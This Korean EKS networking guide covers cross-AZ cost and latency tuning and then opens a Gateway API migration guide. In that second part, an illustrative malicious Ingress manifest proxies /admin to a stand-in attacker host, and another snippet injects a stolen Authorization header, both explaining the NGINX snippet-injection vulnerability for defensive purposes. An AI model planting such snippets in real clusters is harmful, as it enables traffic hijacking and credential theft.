:::info Topology Aware Routing vs InternalTrafficPolicy
두 기능은 **동시에 사용할 수 없으며** 선택적으로 적용해야 합니다:
- **멀티 AZ 환경**: 우선 AZ 단위 분산을 보장하는 Topology Aware Routing 고려
- **같은 노드 내 빈번한 호출**: 짝을 이루는 파드들 간 강한 결합 통신에 InternalTrafficPolicy(Local) + Pod 공배치 활용
:::
### 단계 3: Pod Topology Spread Constraints
토폴로지 기반 최적화의 효과를 얻으려면 애플리케이션 복제본의 배치 전략이 중요합니다. Topology Aware Routing이 제대로 동작하려면 각 AZ에 충분한 엔드포인트가 존재해야 합니다.
```yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: my-app
namespace: production
spec:
replicas: 6
selector:
matchLabels:
app: my-app
template:
metadata:
labels:
app: my-app
spec:
# AZ별 균등 분산
topologySpreadConstraints:
- maxSkew: 1
topologyKey: topology.kubernetes.io/zone
whenUnsatisfiable: DoNotSchedule
labelSelector:
matchLabels:
app: my-app
# 노드별 분산 (선택사항)
- maxSkew: 1
topologyKey: kubernetes.io/hostname
whenUnsatisfiable: ScheduleAnyway
labelSelector:
matchLabels:
app: my-app
containers:
- name: my-app
image: my-app:latest
ports:
- containerPort: 8080
resources:
requests:
cpu: 100m
memory: 128Mi
```
**Pod Affinity를 이용한 공동 배치(co-location):**
자주 통신하는 서비스 A와 B를 동일 노드 또는 동일 AZ에 배치하도록 PodAffinity 규칙을 적용할 수 있습니다:
```yaml
spec:
affinity:
podAffinity:
# 서비스 B가 있는 노드에 우선 배치
preferredDuringSchedulingIgnoredDuringExecution:
- weight: 100
podAffinityTerm:
labelSelector:
matchLabels:
app: service-b
topologyKey: topology.kubernetes.io/zone
```
:::tip 오토스케일링 주의사항
HPA로 스케일 아웃할 때는 Spread Constraints에 따라 새 파드를 퍼뜨릴 수 있지만, **스케일 인 시에는 컨트롤러가 AZ 균형을 고려하지 않고 임의의 파드를 제거**하기 때문에 균형이 무너질 수 있습니다. Descheduler를 사용해 불균형 발생 시 재조정하는 것을 권장합니다.
:::
### 단계 4: NodeLocal DNSCache 배포
DNS 조회 지연과 실패는 마이크로서비스 환경에서 예상 외로 지연을 증가시키는 요소가 될 수 있습니다. NodeLocal DNSCache는 각 노드에 DNS 캐시 에이전트를 DaemonSet으로 구동하여 DNS 응답시간을 크게 단축합니다.
```bash
# NodeLocal DNSCache 매니페스트 다운로드 및 배포
kubectl apply -f https://raw.githubusercontent.com/kubernetes/kubernetes/master/cluster/addons/dns/nodelocaldns/nodelocaldns.yaml
```
또는 Helm 차트를 사용합니다:
```bash
helm repo add deliveryhero https://charts.deliveryhero.io/
helm install node-local-dns deliveryhero/node-local-dns \
--namespace kube-system \
--set config.localDnsIp=169.254.20.10
```
**NodeLocal DNSCache 동작 원리:**
```yaml
# 각 Pod의 /etc/resolv.conf가 로컬 캐시로 향하게 설정
# nameserver 169.254.20.10 (NodeLocal DNS IP)
# 자주 조회되는 DNS 질의를 노드 내부에서 캐싱
```
**효과:**
- p99 DNS lookup 지연: 수ms → sub-ms
- CoreDNS QPS 부하 완화
- 1만 개 이상 Pod 환경에서 DNS 대기시간 수십ms 절약
- 교차 AZ DNS 요금 감소
:::tip NodeLocal DNSCache 적용 기준
AWS 공식 블로그에서는 **노드 수가 많은 클러스터**에서 NodeLocal DNSCache 사용을 권장하며 CoreDNS 스케일아웃과 함께 활용하라고 조언합니다. 워크로드 규모에 따라 노드당 추가 데몬의 리소스 소모(CPU/메모리)를 고려하여 적용하세요.
:::
### 단계 5: Internal LB IP 모드 구성 (필요 시)
L7 기능이 필요하거나 EC2→EKS 마이그레이션 과도기에는 Internal ALB를 IP 모드로 구성합니다:
**Internal NLB (IP 모드):**
```yaml
apiVersion: v1
kind: Service
metadata:
name: my-service-nlb
namespace: production
annotations:
# AWS Load Balancer Controller 사용
service.beta.kubernetes.io/aws-load-balancer-type: external
service.beta.kubernetes.io/aws-load-balancer-nlb-target-type: ip
service.beta.kubernetes.io/aws-load-balancer-scheme: internal
# Cross-Zone LB 비활성화 (AZ 로컬 트래픽 유지)
service.beta.kubernetes.io/aws-load-balancer-attributes: load_balancing.cross_zone.enabled=false
spec:
type: LoadBalancer
selector:
app: my-app
ports:
- name: http
port: 80
targetPort: 8080
protocol: TCP
```
**Internal ALB (Ingress 리소스):**
```yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: my-service-alb
namespace: production
annotations:
kubernetes.io/ingress.class: alb
alb.ingress.kubernetes.io/scheme: internal
alb.ingress.kubernetes.io/target-type: ip
alb.ingress.kubernetes.io/healthcheck-path: /health
spec:
rules:
- host: my-service.internal
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: my-service
port:
number: 80
```
### 단계 6: Istio 서비스 메쉬 (선택적)
보안 요구사항(mTLS, Zero-Trust)이 있거나 고급 트래픽 관리가 필요한 경우 Istio를 선택적으로 도입합니다.
:::tip 메시 솔루션 선택
어떤 서비스 메시를 선택할지(Istio·Cilium·Linkerd·VPC Lattice)는 [서비스 메시 비교 가이드](./service-mesh/index.md)에서 다룹니다. 본 문서는 도입 후 지연·비용 최적화 관점에 집중합니다.
:::
**Istio의 주요 이점:**
- **Locality 기반 라우팅**: Envoy 사이드카 간 로컬리티 정보를 활용하여 동일 AZ 또는 동일 지역의 인스턴스로 라우팅
- **투명한 mTLS**: 애플리케이션 코드 수정 없이 Mutual TLS 암호화
- **고급 트래픽 관리**: 리트라이, 타임아웃, 서킷브레이커, 카나리 배포
**성능 오버헤드 (Istio 1.30 기준):**
| 메트릭 | 수치 |
|--------|------|
| 사이드카당 CPU | ~0.2 vCPU (1000 rps 기준) |
| 사이드카당 메모리 | ~60 MB (1000 rps 기준) |
| 추가 지연 (p99) | ~5ms (클라이언트+서버 2회 프록시 경유) |
| 성능 영향 | 평균 5~10% 처리량 감소 |
:::warning Istio 도입 시 고려사항
- 사이드카 리소스 소모로 EC2 비용 상승 가능
- mTLS 활성화 시 CPU 사용량 추가 증가
- 컨트롤 플레인(Istiod) 관리, CRD(VirtualService, DestinationRule) 학습 필요
- 디버깅 난이도 상승 (사이드카, 컨트롤 플레인까지 추적)
- **지연 민감도가 매우 높은 서비스**에는 메쉬 적용을 신중히 결정
:::
```yaml
# Istio Locality Load Balancing 설정 예시
apiVersion: networking.istio.io/v1beta1
kind: DestinationRule
metadata:
name: my-service
spec:
host: my-service.production.svc.cluster.local
trafficPolicy:
outlierDetection:
consecutive5xxErrors: 5
interval: 30s
baseEjectionTime: 30s
connectionPool:
tcp:
maxConnections: 100
http:
h2UpgradePolicy: DEFAULT
maxRequestsPerConnection: 10
```
### 멀티 클러스터 연결 전략
서비스가 여러 클러스터 또는 여러 AWS 계정에 분산될 경우, 클러스터 간 연결 전략이 필요합니다.
#### Cilium ClusterMesh
Cilium ClusterMesh는 CNI인 Cilium이 제공하는 멀티 클러스터 네트워킹 기능으로, 여러 클러스터를 하나의 네트워크처럼 묶어줍니다. 별도의 게이트웨이나 프록시를 경유하지 않고 eBPF 기반으로 Pod-to-Pod 직접 통신이 가능합니다.
```bash
# ClusterMesh 활성화 (Cilium CLI)
cilium clustermesh enable --context cluster1
cilium clustermesh enable --context cluster2
# 클러스터 연결
cilium clustermesh connect --context cluster1 --destination-context cluster2
# 상태 확인
cilium clustermesh status --context cluster1
```
**장점:** 가장 낮은 지연, 추가 요청당 비용 없음, 투명한 서비스 발견
**단점:** 모든 클러스터가 Cilium CNI 필수, Cilium 운영 지식 필요
#### AWS VPC Lattice
Amazon VPC Lattice는 완전관리형 애플리케이션 네트워킹 서비스로, 여러 VPC와 계정에 걸쳐 일관된 서비스 연결, IAM 기반 인증, 모니터링을 제공합니다.
```yaml
# Kubernetes Gateway API를 통한 Lattice 연동
apiVersion: gateway.networking.k8s.io/v1beta1
kind: Gateway
metadata:
name: my-lattice-gateway
annotations:
application-networking.k8s.aws/lattice-vpc-association: "true"
spec:
gatewayClassName: amazon-vpc-lattice
listeners:
- name: http
protocol: HTTP
port: 80
```
**비용 구조:** 서비스당 $0.025/시간 + $0.025/GB + 100만 요청당 $0.10
**적합한 경우:** 수십 개 이상의 마이크로서비스가 여러 계정에 분산, 중앙 보안 통제 필요
#### Istio 멀티클러스터 메쉬
이미 Istio를 사용하고 있다면 멀티클러스터 서비스 메쉬로 확장할 수 있습니다. Flat network 환경에서는 Envoy-to-Envoy 직통 통신이 가능하고, 분리된 네트워크에서는 East-West Gateway를 경유합니다.
**장점:** 서비스 메쉬 전 기능을 클러스터 경계 넘어 활용, 글로벌 mTLS, 클러스터 간 페일오버
**단점:** 4가지 옵션 중 운영 복잡도 최고, 인증서 관리/사이드카 동기화 등 과제
#### Route53 + ExternalDNS
가장 단순한 멀티클러스터 연결 방법으로, 각 클러스터의 서비스를 Route53 Private Hosted Zone에 등록하고 DNS로 접근합니다.
```yaml
# ExternalDNS 설정 예시
apiVersion: v1
kind: Service
metadata:
name: my-service
annotations:
external-dns.alpha.kubernetes.io/hostname: my-service.internal.example.com
spec:
type: LoadBalancer
...
```
**적합한 경우:** 클러스터 2-3개, 서비스 호출이 빈번하지 않은 경우, DR 구성
---
## 주요 옵션 지연 및 비용 비교
### 옵션별 성능·비용 비교표
### 10 TB/월 East-West 트래픽 비용 시뮬레이션
가정: 동일 리전 3-AZ EKS 클러스터, 총 10 TB (= 10,240 GB) 서비스 간 트래픽
:::tip 비용 최적화 핵심 인사이트
- **InternalTrafficPolicy Local**로 노드-로컬을 보장하면 비용 $0에 가장 낮은 지연 달성. 단, Pod Affinity 및 근접 배치가 필수
- **서비스 20개 이상, 다계정이면** Lattice가 운영 편의성 제공 (추가 비용 감수)
- **하이브리드 전략**이 대부분의 워크로드에 가장 경제적: ALB는 L7·WAF 필요한 특정 경로에만 스팟 투입하고, 나머지는 ClusterIP 경로 유지
:::
---
## 검증 및 모니터링
### Topology Aware Routing 검증
```bash
# EndpointSlice의 hints 확인
kubectl get endpointslices -l kubernetes.io/service-name=my-service \
-o jsonpath='{range .items[*].endpoints[*]}{.addresses}{"\t"}{.zone}{"\t"}{.hints.forZones[*].name}{"\n"}{end}'
# 출력 예상:
# ["10.0.1.15"] ap-northeast-2a ap-northeast-2a
# ["10.0.2.23"] ap-northeast-2b ap-northeast-2b
# ["10.0.3.41"] ap-northeast-2c ap-northeast-2c
```
```bash
# Pod가 AZ별로 균등 분산되었는지 확인
kubectl get pods -l app=my-app -o wide | awk '{print $7}' | sort | uniq -c
# 출력 예상:
# 2 ip-10-0-1-xxx.ap-northeast-2.compute.internal (AZ-a)
# 2 ip-10-0-2-xxx.ap-northeast-2.compute.internal (AZ-b)
# 2 ip-10-0-3-xxx.ap-northeast-2.compute.internal (AZ-c)
```
### 모니터링: Internal ALB
ALB를 사용하는 서비스의 경우 CloudWatch 메트릭으로 모니터링합니다:
| 메트릭 | 목표 | 경고 | 임계 |
|--------|------|------|------|
| `TargetResponseTime` | 100ms 미만 | 100-300ms | 300ms 초과 |
| `HTTPCode_ELB_5XX_Count` | 0 | 1-10/분 | 10/분 초과 |
| `HTTPCode_Target_5XX_Count` | 0 | 1-5/분 | 5/분 초과 |
| `ActiveConnectionCount` | 정상 범위 | 80% 용량 | 90% 용량 |
```bash
# ALB access log에서 5xx 에러 원인 분석
# error_reason 필드로 502/504 root cause 식별
aws logs filter-log-events \
--log-group-name /aws/alb/my-internal-alb \
--filter-pattern "elb_status_code=5*"
```
### 모니터링: ClusterIP (LB 없는 경우)
ClusterIP 서비스에는 ELB 메트릭이 없으므로 별도 계측이 필요합니다:
- **서비스 메쉬**: Istio/Linkerd 또는 Envoy 사이드카를 통한 L7 메트릭
- **eBPF 기반 도구**: Hubble, Cilium, Pixie를 통한 TCP reset 및 5xx 통계
- **애플리케이션 레벨**: Prometheus/OpenTelemetry를 통한 5xx 카운트
```yaml
# Prometheus ServiceMonitor 예시
apiVersion: monitoring.coreos.com/v1
kind: ServiceMonitor
metadata:
name: my-service-monitor
spec:
selector:
matchLabels:
app: my-app
endpoints:
- port: metrics
interval: 15s
path: /metrics
```
### Cross-AZ 비용 모니터링
```bash
# AWS Cost and Usage Report에서 Regional Data Transfer 비용 확인
aws ce get-cost-and-usage \
--time-period Start=2026-02-01,End=2026-02-28 \
--granularity MONTHLY \
--metrics "BlendedCost" \
--filter '{"Dimensions":{"Key":"USAGE_TYPE","Values":["APN2-DataTransfer-Regional-Bytes"]}}'
```
:::tip Kubecost 활용
Kubecost를 설치하면 네임스페이스별 cross-AZ 트래픽 비용을 시각화할 수 있습니다. `RegionalDataTransferCost` 메트릭을 통해 어떤 서비스 간 통신이 가장 많은 cross-AZ 비용을 유발하는지 파악할 수 있습니다.
:::
---
## 시나리오별 추천 매트릭스
서비스 특성, 보안 요구사항, 운영 복잡도에 따른 권장 솔루션 조합입니다:
:::info 하이브리드 전략
현실적인 환경에서는 한 가지 전략만 사용하기보다 **혼합하여 사용**하는 경우가 많습니다. 예를 들어:
- 클러스터 내부: ClusterIP + Topology Hints
- 메쉬 미포함 서비스: InternalTrafficPolicy로 최적화
- 멀티클러스터 간: Lattice로 연결
- 특정 L7 경로: ALB를 스팟으로 투입
:::
---
## EC2→EKS 마이그레이션 가이드
### 마이그레이션 단계별 전략
EC2에서 EKS로 서비스를 마이그레이션하는 과도기에는 Internal ALB를 활용한 점진적 전환이 권장됩니다:
**1단계: EKS 내부에서 ClusterIP 시작**
```bash
# EKS 서비스 간 통신은 DNS http://service.namespace.svc.cluster.local 사용
# 코드 포터빌리티 유지
```
**2단계: EC2와 EKS를 동시에 서비스**
```yaml
# Internal ALB에 두 개의 Target Group 설정
# EC2 Instance TG + EKS Pod TG (AWS LB Controller)
# 가중 리스너 규칙으로 점진적 전환 (예: 90/10)
apiVersion: elbv2.k8s.aws/v1beta1
kind: TargetGroupBinding
metadata:
name: my-service-tgb
spec:
serviceRef:
name: my-service
port: 80
targetGroupARN: arn:aws:elasticloadbalancing:ap-northeast-2:123456789012:targetgroup/my-eks-tg/xxx
targetType: ip
```
**3단계: 100% EKS 전환 후 ALB 제거**
EKS로 완전 전환된 후에는 ALB를 제거하고 ClusterIP로 돌아가 지속적인 ALB 비용을 제거합니다.
:::tip 마이그레이션 핵심 원칙
- **정상 상태(steady-state)**: ClusterIP로 최저 비용·최저 지연 유지
- **과도기**: Internal ALB로 EC2/EKS 듀얼 라우팅 (weighted target groups)
- **전환 완료 후**: ALB 제거하여 비용 라인 아이템 자체를 삭제
:::
---
## 트러블슈팅
### 문제: Topology Aware Routing이 동작하지 않음
**증상:**
```
EndpointSlice에 hints 필드가 비어있음
트래픽이 여전히 cross-AZ로 분산됨
```
**원인 분석:**
```bash
# EndpointSlice 상태 확인
kubectl get endpointslices -l kubernetes.io/service-name=my-service -o yaml
# AZ별 Pod 분포 확인
kubectl get pods -l app=my-app -o json | \
jq -r '.items[] | "\(.spec.nodeName) \(.status.podIP)"' | \
while read node ip; do
zone=$(kubectl get node $node -o jsonpath='{.metadata.labels.topology\.kubernetes\.io/zone}')
echo "$zone $ip"
done | sort | uniq -c
```
**해결 방법:**
1. Pod가 **모든 AZ에 균등 분산**되었는지 확인 (최소 2개 이상/AZ)
2. `topologySpreadConstraints`를 Deployment에 추가
3. EndpointSlice 컨트롤러가 hints를 생성하는 조건 확인:
- 각 AZ의 엔드포인트 비율이 대략 균등해야 함
- 하나의 AZ에 전체 엔드포인트의 50% 이상이 집중되면 hints가 생성되지 않음
### 문제: InternalTrafficPolicy Local에서 트래픽 드롭
**증상:**
```
특정 노드에서 서비스 호출 시 connection refused 또는 timeout
kubectl logs에 "no endpoints available" 메시지
```
**원인 분석:**
```bash
# 로컬 노드에 대상 Pod이 있는지 확인
kubectl get pods -l app=target-service -o wide
# 특정 노드에서의 엔드포인트 확인
kubectl get endpoints my-local-service -o yaml
```
**해결 방법:**
1. DaemonSet으로 대상 서비스를 모든 노드에 배포
2. PodAffinity로 호출자와 대상이 같은 노드에 위치하도록 강제
3. 또는 InternalTrafficPolicy를 제거하고 Topology Aware Routing으로 전환 (AZ 단위)
```yaml
# 대안: Topology Aware Routing으로 전환
apiVersion: v1
kind: Service
metadata:
name: my-service
annotations:
service.kubernetes.io/topology-mode: Auto
spec:
# internalTrafficPolicy: Local 제거
selector:
app: my-app
```
### 문제: Cross-AZ 비용이 줄지 않음
**증상:**
```
Topology Aware Routing 적용 후에도 AWS Cost Explorer에서 Regional Data Transfer 비용이 감소하지 않음
```
**원인 분석:**
```bash
# 실제 트래픽 경로 확인 (Cilium Hubble 사용 시)
hubble observe --namespace production --protocol TCP \
--to-label app=target-service --output json | \
jq '.source.labels, .destination.labels'
# NAT Gateway 경유 여부 확인
kubectl exec -it test-pod -- traceroute target-service.production.svc.cluster.local
```
**해결 방법:**
1. **NAT Gateway를 AZ별로 분리 배치** (외부 통신 시 cross-AZ 방지)
2. NLB/ALB가 **IP 모드**로 설정되었는지 확인
3. CoreDNS가 cross-AZ에서 실행되고 있는지 확인 → NodeLocal DNSCache 적용
4. Kubecost로 네임스페이스별 cross-AZ 트래픽 원인 식별
### 문제: NodeLocal DNSCache 관련 이슈
**증상:**
```
NodeLocal DNSCache 배포 후 DNS 해석 실패
Pod에서 외부 도메인 조회 불가
```
**해결 방법:**
```bash
# NodeLocal DNS Pod 상태 확인
kubectl get pods -n kube-system -l k8s-app=node-local-dns
# DNS 해석 테스트
kubectl exec -it test-pod -- nslookup kubernetes.default.svc.cluster.local
kubectl exec -it test-pod -- nslookup google.com
# resolv.conf 확인
kubectl exec -it test-pod -- cat /etc/resolv.conf
# nameserver가 169.254.20.10 (NodeLocal IP)인지 확인
```
:::danger 프로덕션 환경 주의
프로덕션 환경에서 네트워크 설정을 변경할 때는 반드시 **카나리 배포** 방식으로 소규모 서비스부터 적용하고, 변경 전후 성능 메트릭을 비교하세요. Topology Aware Routing이나 InternalTrafficPolicy 변경은 트래픽 경로를 즉시 바꾸므로, 모니터링을 강화한 상태에서 진행해야 합니다.
:::
---
## 결론
### 핵심 요점 정리
:::tip 아키텍처 선택 가이드
**1. 저비용 + 초저지연**
- ClusterIP + Topology Aware Routing + NodeLocal DNSCache
- 필요 시 InternalTrafficPolicy(Local) 추가
- 10 TB/월 기준 ALB 대비 약 $98, VPC Lattice 대비 $400+ 절감
**2. L4 안정성과 고정 IP 필요**
- Internal NLB (IP 모드)
- 트래픽 > 5 TB/월이면 비용 면밀히 검토
**3. L7 라우팅·WAF·gRPC 메서드별 제어**
- Internal ALB + K8s Gateway API
- 필요한 경로에만 배치하여 LCU 증가 방지
**4. 전사 Zero-Trust, 멀티클러스터**
- Istio Ambient → Sidecar 전환은 필요한 워크로드에만 스코프 다운
- 사이드카 → 노드 프록시(Ambient) → Sidecar-less(eBPF) 순으로 오버헤드 감소
**5. 다계정·서비스 > 50개**
- 관리형 VPC Lattice + IAM 정책으로 복잡도 낮춤
:::
### 다음 단계
구현 완료 후 다음 사항을 검토하세요:
- [ ] Topology Aware Routing 활성화 및 EndpointSlice hints 확인
- [ ] Pod Topology Spread Constraints로 AZ 균등 분산 보장
- [ ] NodeLocal DNSCache 배포 및 DNS 응답시간 개선 확인
- [ ] Cross-AZ 비용 모니터링 대시보드 설정 (Kubecost 또는 CUR)
- [ ] 불필요한 Internal LB 식별 및 ClusterIP 전환 검토
- [ ] 마이그레이션 완료 서비스의 ALB 제거 계획 수립
---
## 참고 자료
1. [AWS Elastic Load Balancing 요금 - LCU/NLCU 가격](https://aws.amazon.com/elasticloadbalancing/pricing/)
2. [AWS 데이터 전송 요금 - Cross-AZ $0.01/GB](https://aws.amazon.com/ec2/pricing/on-demand/#Data_Transfer)
3. [AWS ELB Best Practices - 지연 최적화](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/application-load-balancers.html)
4. [AWS Network Load Balancer](https://aws.amazon.com/elasticloadbalancing/network-load-balancer/)
5. [AWS VPC Lattice 요금](https://aws.amazon.com/vpc/lattice/pricing/)
6. [Istio 1.30 Performance and Scalability](https://istio.io/latest/docs/ops/deployment/performance-and-scalability/)
7. [Kubernetes NodeLocal DNSCache](https://kubernetes.io/docs/tasks/administer-cluster/nodelocaldns/)
8. [Kubernetes Topology Aware Routing](https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/)
9. [Cilium ClusterMesh Documentation](https://docs.cilium.io/en/stable/network/clustermesh/)
10. [AWS EKS Best Practices - Cost Optimization](https://docs.aws.amazon.com/eks/latest/best-practices/cost-opt.html)
11. [Kubernetes Pod Topology Spread Constraints](https://kubernetes.io/docs/concepts/scheduling-eviction/topology-spread-constraints/)
### 관련 문서 (내부)
- [서비스 메시 비교 가이드](./service-mesh/index.md) — Istio·Cilium·Linkerd·VPC Lattice 선택 기준
- [GAMMA Initiative](./service-mesh/gamma-initiative.md) — Gateway API 기반 East-West 트래픽 표준화
---
# Gateway API 도입 가이드: NGINX Ingress에서 차세대 트래픽 관리로
> NGINX Ingress Controller EOL 대응, Gateway API 아키텍처, GAMMA Initiative, AWS Native vs 오픈소스 솔루션 비교(AWS LBC·Cilium·NGINX Gateway Fabric·Envoy Gateway·kGateway·Kong), Cilium ENI 통합, 마이그레이션 전략 및 벤치마크 계획
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/networking-performance/gateway-api-adoption-guide
Category: EKS Best Practices
Last updated: 2026-06-30
Author: devfloor9
Tags: eks, gateway-api, nginx, cilium, envoy, kong, networking, migration, ebpf, gamma
import Tabs from '@theme/Tabs';
import TabItem from '@theme/TabItem';
import GatewayApiBenefits from '@site/src/components/GatewayApiBenefits';
import {
DocumentStructureTable,
RiskAssessmentTable,
ArchitectureComparisonTable,
RoleSeparationTable,
GaStatusTable,
FeatureComparisonMatrix,
SolutionOverviewMatrix,
SolutionSelectorCards,
TieredGatewayDiagram,
ScenarioRecommendationTable,
FeatureMappingTable,
DifficultyComparisonTable,
AwsCostTable,
OpenSourceCostTable,
CostComparisonTable,
MigrationFeatureMappingTable,
TroubleshootingTable,
RouteRecommendationTable,
RoadmapTimeline,
} from '@site/src/components/GatewayApiTables';
# Gateway API 도입 가이드
> **📌 기준 버전**: Gateway API v1.5.1, Cilium v1.19.0, EKS 1.33+, AWS LBC v3.0.0, Envoy Gateway v1.7.0
## 1. 개요
Kubernetes 트래픽 관리는 두 가지 동인으로 Gateway API로 수렴하고 있습니다.
**첫째, NGINX Ingress Controller의 은퇴(Retirement)입니다.** 2026년 3월 공식 EOL(End-of-Life)로 보안 패치가 중단되며, Ingress API 자체의 구조적 한계(어노테이션 기반 확장, 역할 분리 부재)가 드러났습니다. 이로써 Gateway API로의 전환은 선택이 아닌 필수가 되었습니다.
**둘째, Agentic 워크로드를 위한 티어드 게이트웨이(Tiered Gateway)의 부상입니다.** LLM 추론과 에이전트 트래픽은 일반 웹/API와 요구사항이 다릅니다. 토큰 단위 과금·속도 제한, 모델·프로바이더 라우팅, KV 캐시 인지 라우팅, 프롬프트/응답 가드레일, 추론 Pod에 대한 부하 분산이 필요합니다. 이를 단일 게이트웨이로 처리하기보다, **북-남(North-South) 트래픽을 받는 범용 Gateway API 계층**과 **추론 트래픽을 전담하는 추론 게이트웨이(Inference Gateway) 계층**으로 나누는 2-Tier 구조가 표준으로 자리잡고 있습니다. Gateway API와 그 위의 [Gateway API Inference Extension](https://gateway-api-inference-extension.sigs.k8s.io/)이 이 티어드 모델의 공통 기반입니다.
이 가이드는 Gateway API의 아키텍처 이해부터 6개 주요 구현체(AWS LBC v3, Cilium, NGINX Gateway Fabric, Envoy Gateway, kGateway, Kong) 비교, Cilium ENI 모드 심화 구성, 단계별 마이그레이션 실행 전략, 성능 벤치마크 계획까지 포괄합니다. Agentic 워크로드를 위한 추론 게이트웨이 계층의 상세 구성은 [에이전틱 AI 플랫폼 — 추론 게이트웨이 레퍼런스](/docs/agentic-ai-platform/reference-architecture/inference-gateway)로 연결됩니다.
:::tip 범용 Gateway vs 추론 게이트웨이 — 어디를 읽어야 하나
- **북-남 트래픽·NGINX Ingress 대체·일반 API 라우팅**을 설계한다면 → 이 문서(범용 Gateway API 계층)
- **LLM 추론 Pod 라우팅·KV 캐시 인지 분산·모델 엔드포인트 관리**를 설계한다면 → [추론 게이트웨이 레퍼런스](/docs/agentic-ai-platform/reference-architecture/inference-gateway)
- 대부분의 Agentic 플랫폼은 **두 계층을 함께** 사용합니다. 이 문서의 섹션 4 비교표가 두 계층을 어떤 솔루션 조합으로 채울지 판단하는 출발점입니다.
:::
### 1.1 이 문서의 대상
- **NGINX Ingress Controller를 운영 중인 EKS 클러스터 관리자**: EOL 대응 전략 수립
- **Agentic AI 플랫폼을 구축하는 플랫폼 엔지니어**: 범용 게이트웨이 + 추론 게이트웨이 2-Tier 설계
- **Gateway API 마이그레이션을 계획 중인 플랫폼 엔지니어**: 기술 선정 및 PoC 수행
- **트래픽 관리 아키텍처 현대화를 검토 중인 아키텍트**: 장기 로드맵 설계
- **Cilium ENI 모드와 Gateway API 통합을 고려하는 네트워크 엔지니어**: eBPF 기반 고성능 네트워킹
### 1.2 티어드 게이트웨이 한눈에 보기
### 1.3 문서 구성
:::info 읽기 전략
- **빠른 이해**: 섹션 1-3, 6 (약 10분)
- **기술 선정**: 섹션 1-4, 6 (약 20분)
- **전체 마이그레이션**: 전체 문서 + 하위 문서 (약 25분)
:::
---
## 2. NGINX Ingress Controller Retirement — 왜 전환이 필수인가
### 2.1 EOL 타임라인
```mermaid
gantt
title NGINX Ingress Controller EOL 및 마이그레이션 타임라인
dateFormat YYYY-MM
axisFormat %Y-%m
section 보안 사건
IngressNightmare CVE-2025-1974 :milestone, cve, 2025-03, 0d
section 공식 발표
Retirement 논의 가속화 :active, disc, 2025-03, 8M
공식 Retirement 발표 :milestone, retire, 2025-11, 0d
공식 EOL (유지보수 중단) :crit, milestone, eol, 2026-03, 0d
section 마이그레이션 단계
1단계 계획 및 PoC :plan, 2025-01, 6M
2단계 병렬 운영 :parallel, 2025-07, 6M
3단계 전환 완료 :switch, 2026-01, 3M
```
**주요 이벤트 상세:**
- **2025년 3월**: IngressNightmare (CVE-2025-1974) 발견 — Snippets 어노테이션을 통한 임의 NGINX 설정 주입 취약점으로 Kubernetes SIG Network의 retirement 논의가 가속화됨
- **2025년 11월**: Kubernetes SIG Network에서 NGINX Ingress Controller의 공식 retirement 발표. 유지보수 인력 부족(1-2명의 메인테이너)과 Gateway API 성숙도를 주요 이유로 명시
- **2026년 3월**: 공식 EOL — 보안 패치 및 버그 수정 완전 중단. 이후 운영 환경 사용 시 컴플라이언스 위반 가능성
:::danger 필수 대응 사항
**2026년 3월 이후 NGINX Ingress Controller 사용 시 보안 취약점 패치가 제공되지 않습니다.** PCI-DSS, SOC 2, ISO 27001 등 보안 인증 유지를 위해서는 반드시 Gateway API 기반 솔루션으로 전환해야 합니다.
:::
### 2.2 보안 취약점 분석
**IngressNightmare (CVE-2025-1974) 공격 시나리오:**

*Kubernetes 클러스터 내 Ingress NGINX Controller를 대상으로 한 비인증 원격 코드 실행(RCE) 공격 벡터. 외부 및 내부 공격자가 Malicious Admission Review를 통해 컨트롤러 Pod를 장악하고, 클러스터 내 전체 Pod에 접근 가능. (Source: [Wiz Research](https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities))*

*Ingress NGINX Controller Pod 내부 아키텍처. Admission Webhook이 설정 검증 과정에서 공격자의 악성 설정을 NGINX에 주입하는 경로가 CVE-2025-1974의 핵심 공격 표면. (Source: [Wiz Research](https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities))*
```yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: malicious-ingress
annotations:
# 공격자가 임의의 NGINX 설정을 주입
nginx.ingress.kubernetes.io/configuration-snippet: |
location /admin {
proxy_pass http://malicious-backend.attacker.com;
# 인증 우회, 데이터 탈취, 백도어 설치 가능
}
spec:
ingressClassName: nginx
rules:
- host: production-api.example.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: production-service
port:
number: 80
```
**위험도 평가:**
:::warning 현재 운영 중이라면
기존 NGINX Ingress 환경에서는 `nginx.ingress.kubernetes.io/configuration-snippet` 및 `nginx.ingress.kubernetes.io/server-snippet` 어노테이션 사용을 즉시 금지하는 admission controller 정책 적용을 권장합니다.
:::
### 2.3 취약점의 구조적 해결을 위한 Gateway API 도입
Gateway API는 NGINX Ingress의 구조적 취약점을 근본적으로 해결합니다.
**1. Configuration Snippet 주입 공격**
NGINX Ingress는 annotations에 임의 문자열을 주입할 수 있어 심각한 보안 위험을 초래합니다:
```mermaid
flowchart LR
subgraph nginx["NGINX Ingress 공격 경로"]
direction TB
ann["annotations:
configuration-snippet"]
ann -->|"임의 문자열"| inject["임의 NGINX 설정 주입"]
inject -->|"검증 없음"| danger["보안 위험
(CVE-2021-25742)"]
end
style nginx fill:#ffebee,stroke:#c62828
style danger fill:#ef5350,color:#fff
```
```yaml
# ❌ NGINX Ingress — 임의 문자열 주입 가능
annotations:
nginx.ingress.kubernetes.io/configuration-snippet: |
# 인접 서비스의 자격 증명 탈취 가능 (CVE-2021-25742)
proxy_set_header Authorization "stolen-token";
```
**2. 단일 리소스에 모든 권한 집중**
- Ingress 리소스 하나에 라우팅, TLS, 보안, 확장 설정이 혼재
- 어노테이션 단위 RBAC 분리가 불가능 — 전체 Ingress 권한 또는 무권한
- 개발자가 라우팅만 수정하려 해도 TLS/보안 설정 변경 권한까지 보유
**3. 벤더 어노테이션 의존**
- 표준에 없는 기능은 벤더 고유 어노테이션으로 추가 → **이식성 상실**
- 어노테이션 간 충돌 시 디버깅 어려움
- 100+ 벤더 어노테이션 관리 복잡성 증가
이러한 구조적 문제로 인해 NGINX Ingress는 프로덕션 보안 요구사항을 충족하기 어렵습니다.
